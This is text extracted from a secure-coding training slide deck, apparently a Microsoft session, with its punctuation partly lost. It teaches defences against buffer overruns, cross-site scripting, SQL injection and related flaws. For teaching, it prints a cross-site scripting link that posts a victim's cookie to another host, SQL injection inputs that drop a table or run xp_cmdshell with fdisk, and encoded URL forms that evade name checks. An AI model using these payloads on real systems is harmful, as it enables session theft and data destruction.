Title: Name
1Writing Secure Code Threat Defense
2What We Will Cover
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-Site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
3Session Prerequisites
- Development experience with MicrosoftVisual
Basic, Microsoft Visual C, or C
Level 200
4Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
5The Need for Secure Code
Up to 1,500 Web sites could have been affected
by a recent hacker attack
US port 'hit by UK hacker
Piracy cost more than 4,300 jobs and 850
million in damage
Several corporations said they lost 10 million
in a single break-in
Sobig virus accounted for 30 billion worth of
economic damages worldwide
Attacks will cost the world economy a whopping
1.6 trillion (US) this year
6Threat Scenarios
- Employees connecting to companys network
- Wired, wireless, dial-up, VPN
- Company PCs, personally-owned systems
- Employees connecting to other networks
- Internet hotspots, partner networks, broadband
- Partners connecting to companys network
- Local vs. federated authentication
- Anonymous guests
- New scenarios and new threats
7Potential Attackers
- Thieves
- Confidence tricksters
- Vandals
- Criminals
- Hackers
- It should be no surprise that attacks occur!
8Common Types of Attack
9Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
10What Is a Buffer Overrun?
- Occurs when data exceeds the expected size and
overwrites other values - Exists primarily in unmanaged C/C code
- Includes four types
- Stack-based buffer overruns
- Heap overruns
- V-table and function pointer overwrites
- Exception handler overwrites
- Can be exploited by worms
11Possible Results of Buffer Overruns
12Stack-Based Buffer Overrun Example
Top of Stack
char4
int
Return address
13Heap Overruns
- Overwrite data stored on the heap
- Are harder to exploit than a buffer overrun
xxxxxxxxxxxxxx
strcpy
14Defending Against Buffer Overruns (1 of 2)
- Be very cautious when using
- strcpy
- strncpy
- CopyMemory
- MultiByteToWideChar
- Use the /GS compile option in Visual C to spot
buffer overruns - Use strsafe.h for safer buffer handling
15Defending Against Buffer Overruns (2 of 2)
- Check all array indexes
- Use existing wrapper classes for safe array
handling - Check file path lengths using _MAX_PATH
- Use recognized file path processing methods, such
as splitpath - Use managed code, but pay attention to PInvoke
and COM Interop
16Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
17Arithmetic Errors
- Occur when the limitations of a variable are
exceeded - Lead to serious runtime issues
- Are often overlooked and underestimated
- Include
- Overflow value too large for data type
- Underflow value too small for data type
18Defending Against Arithmetic Errors
- Be conscious of the limitations of your chosen
data types - Write defensive code that checks for overflows
- Consider writing safe, reusable functions
- Consider using a safe template class (if coding
in C)
19Demonstration 1 Memory Issues and Data Type
ErrorsInvestigating Buffer OverrunsUsing the
/GS Compiler SwitchUsing STRSAFE.HPerforming
Safe Arithmetic Calculations
20Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-Site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
21What Is Cross-Site Scripting?
- A technique that allows hackers to
- Execute malicious script in a clients Web
browser - Insert ltscriptgt, ltobjectgt, ltappletgt, ltformgt, and
ltembedgt tags - Steal Web session information and authentication
cookies - Access the client computer
Any Web page that renders HTMLcontaining user
input is vulnerable
22Two Common Exploits of Cross-Site Scripting
- Attacking Web-based e-mail platforms and
discussion boards - Using HTML ltformgt tags to redirect private
information
23Form-Based Attacks (1 of 2)
Response.Write("Welcome" Request.QueryString("U
serName"))
24Form-Based Attacks (2 of 2)
lta hrefhttp//www.contoso.msft/welcome.asp?name
ltFORM actionhttp//www. nwtraders.msft/data.asp
methodpost ididFormgt ltINPUT
namecookie typehiddengt lt/FORMgt
ltSCRIPTgt idForm.cookie.valuedocument.cookie
idForm.submit() lt/SCRIPTgt gt here lt/agt
25Demonstration 2Cross-Site ScriptingInvestigatin
g Cross-Site Scripting
26Defending Against Cross-Site Scripting Attacks
- Do not
- Trust user input
- Echo Web-based user input unless you have
validated it - Store secret information in cookies
- Do
- Use the HttpOnly cookie option
- Use the ltframegt security attribute
- Take advantage of ASP.NET features
27Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
28What is SQL Injection?
- SQL injection is
- The process of adding SQL statements in user
input - Used by hackers to
- Probe databases
- Bypass authorization
- Execute multiple SQL statements
- Call built-in stored procedures
29Examples of SQL Injection
sqlString "SELECT HasShipped FROM" "
OrderDetail WHERE OrderID '" ID "'"
- If the ID variable is read directly from a Web
form or Windows form textbox, the user could
enter any of the following - ALFKI1001
- ALFKI1001' or 11 --
- ALFKI1001' DROP TABLE OrderDetail --
- ALFKI1001' exec xp_cmdshell('fdisk.exe') --
30Demonstration 3SQL InjectionInvestigating SQL
Injection IssuesUsing Parameterized Queries to
Defend Against SQL Injection
31Defending Against SQL Injection
- Sanitize all input
- Consider all input as harmful until proven
otherwise - Look for valid data and reject everything else
- Consider the use of regular expressions to remove
unwanted characters - Run with least privilege
- Never execute as sa
- Restrict access to built-in stored procedures
- Use stored procedures or SQL parameterized
queries to access data - Do not echo ODBC errors
32Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
33Canonicalization Issues
- There is usually more than one way to name
something - Alternate representations exist for
- File names
- URLs
- Devices (such as printers)
- Hackers may exploit code that makes decisions
based on file names or URLs
34Canonicalization IssuesExample 1 File Names
- MyLongFile.txt
- MyLongFile.txt.
- MyLong1.txt
- MyLongFile.txtDATA
35Canonicalization IssuesExample 2 Character
Representation
- There are many ways to represent characters on
the Internet
http//www.microsoft.com/technet/security
Is the same as -
http//www2emicrosoft2ecom2ftechnet2fsecurity
http//www.microsoft.comc0aftechnetc0afsecurit
y http//www253265microsoft.com/technet/securit
y http//172.43.122.12 http//2888530444
36Demonstration 4 Canonicalization
IssuesInvestigating File Name Security Decisions
37Defending Against Canonicalization Issues
- Use file system security to restrict access to
private data - Never make a decision based on a name
- Disable the IIS Parent Paths setting
38Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
39Cryptography Weaknesses
- Inappropriate use of algorithms
- Creating your own
- Using weak ones
- Incorrect application
- Failure to keep keys secure
- Insecure storage
- Extensive duration of use
- The human factor
I need three of the above to decrypt your data!
40Defending Against Cryptography Weaknesses
- Recycle keys periodically
- Use ACLs to restrict access to keys
- Store keys on an external device
- Use SACLs to monitor activities
- Use larger keys to provide increased security
- Use DPAPI to simplify key management, if possible
- Do not implement your own cryptographic routines
41Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
42Unicode Issues
- Common mistakes
- Treating a Unicode character as a single byte
- Miscalculating required buffer size
- Misusing MultiByteToWideChar
- Validating data before conversion, but not
afterwards - Results
- Buffer overruns
- Potentially dangerous character sequences
slipping through your validation routines
43Defending Against Unicode Issues
- Calculate buffer sizes using sizeof (WCHAR)
- Be aware of GB18030 standards (4 bytes per
character) - Convert from Unicode to ASCII and then validate
- Use IsNLSDefinedString during validation
- Use MultiByteToWideChar correctly to provide a
sufficient buffer
44Demonstration 5 Unicode IssuesInvestigating
Unicode Issues
45Agenda
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
46Denial of Service Attacks
- CPU starvation
- Memory starvation
- Resource starvation
- Network starvation
47Defending Against Denial of Service Attacks
- Consider security as a design feature
- Distrust user input
- Fail intelligently
- Test security
48Session Summary
- The Need For Secure Code
- Defending Against Memory Issues
- Defending Against Arithmetic Errors
- Defending Against Cross-site Scripting
- Defending Against SQL Injection
- Defending Against Canonicalization Issues
- Defending Against Cryptography Weaknesses
- Defending Against Unicode Issues
- Defending Against Denial of Service
49Next Steps
- Stay informed about security
- Sign up for security bulletins
- http//www.microsoft.com/security/security_bullet
ins/alerts2.asp - Get the latest Microsoft security guidance
- http//www.microsoft.com/security/guidance/
- Get additional security training
- Find online and in-person training seminars
- http//www.microsoft.com/seminar/events/security.
mspx - Find a local CTEC for hands-on training
- http//www.microsoft.com/learning/
50For More Information
- Microsoft Security Site (all audiences)
- http//www.microsoft.com/security
- MSDN Security Site (developers)
- http//msdn.microsoft.com/security
- TechNet Security Site (IT professionals)
- http//www.microsoft.com/technet/security
51Questions and Answers
52(No Transcript)